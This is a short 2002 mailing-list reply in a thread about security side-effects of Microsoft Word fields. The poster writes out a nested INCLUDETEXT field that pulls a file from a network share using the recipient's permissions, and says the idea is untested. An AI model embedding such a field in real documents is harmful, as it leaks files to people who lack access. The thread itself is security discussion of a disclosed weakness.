Re: Security side-effects of Word fields

[Kyle Duren <acidrain_ask () pixitha com>]

In-Reply-To: <20020826212322.1137.qmail () mail securityfocus com>

Could you use this in say a network environtment?

change this around a bit to get files that someone else has access to, but 
you dont?

ie: { IF { INCLUDETEXT { IF { DATE } = { 
DATE } "\\servername\usershare\a.txt" "c:\\a.txt" }  \* MERGEFORMAT  } 
= "" "" \* MERGEFORMAT }


Using the permissions of Bob to get a file that Alice doesn't and 
shouldn't have access to.

I do not have a file server to test that one, so its only an idea.


"An eye for an eye only makes the whole world blind" - Ghandi

Kyle Duren